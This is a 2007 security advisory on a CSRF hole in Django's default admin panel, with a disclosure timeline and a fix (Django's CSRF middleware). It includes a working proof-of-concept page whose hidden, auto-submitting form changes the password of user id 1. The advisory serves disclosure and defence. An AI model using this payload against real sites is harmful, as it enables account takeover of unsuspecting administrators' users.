Author: J. Carlos Nieto.
Date: Oct 21, 2007
There exists a security hole in the default django's admin panel.
Background
==========
Django is a high-level Python Web framework that encourages rapid
development and clean, pragmatic design.
Django has an automatic admin panel that allows a person with admin
privileges to modify the database tables, it allows to change any user
password too.
See more at http://www.djangoproject.com
Summary
=======
django has, by default, no CSRF protection, this may allow an attacker
to change any user password by tricking a victim with admin privileges
into a special forged web page (even in a a totally different server)
that sends a request to change the password of the user with id = n. The
victim does not know that the form was sent. If the victim has admin
privileges the exploit will succeed, otherwise nothing will happen.
Severity
========
Mild. This problem exists only with the default installation and can be
easily solved using a middleware found in here:
http://www.djangoproject.com/documentation/csrf/.
Proof of concept
================
<script type="text/javascript">
window.onload = function() {
var url = "http://127.0.0.1:8000/admin/auth/user/1/password/";
var pass = "funky";
var param = {
password1: pass,
password2: pass
};
var form = document.createElement('form');
form.action = url;
form.method = 'post';
form.target = 'hidden';
form.style.display = 'none';
for (var i in param) {
try {
// ie
var input = document.createElement('<input name="'+i+'">');
} catch(e) {
// other browsers
var input = document.createElement('input');
input.name = i;
}
input.setAttribute('value', param[i]);
form.appendChild(input);
}
document.body.appendChild(form);
form.submit();
}
</script>
<iframe name="hidden" style="display: none"></iframe>
Solution
========
Use the django's CSRF protection in all your applications. Take a look
at http://www.djangoproject.com/documentation/csrf/.
Disclosure Timeline
===================
2007.10.18 - Vulnerability found
2007.10.18 - Vulnerability reported to vendor
2007.10.18 - Vendor response
2007.10.21 - Advisory release
License
=======
Copyright 2007 J. Carlos Nieto
The contents of this document are licensed under the Creative Commons -
Attribution / Share Alike license.
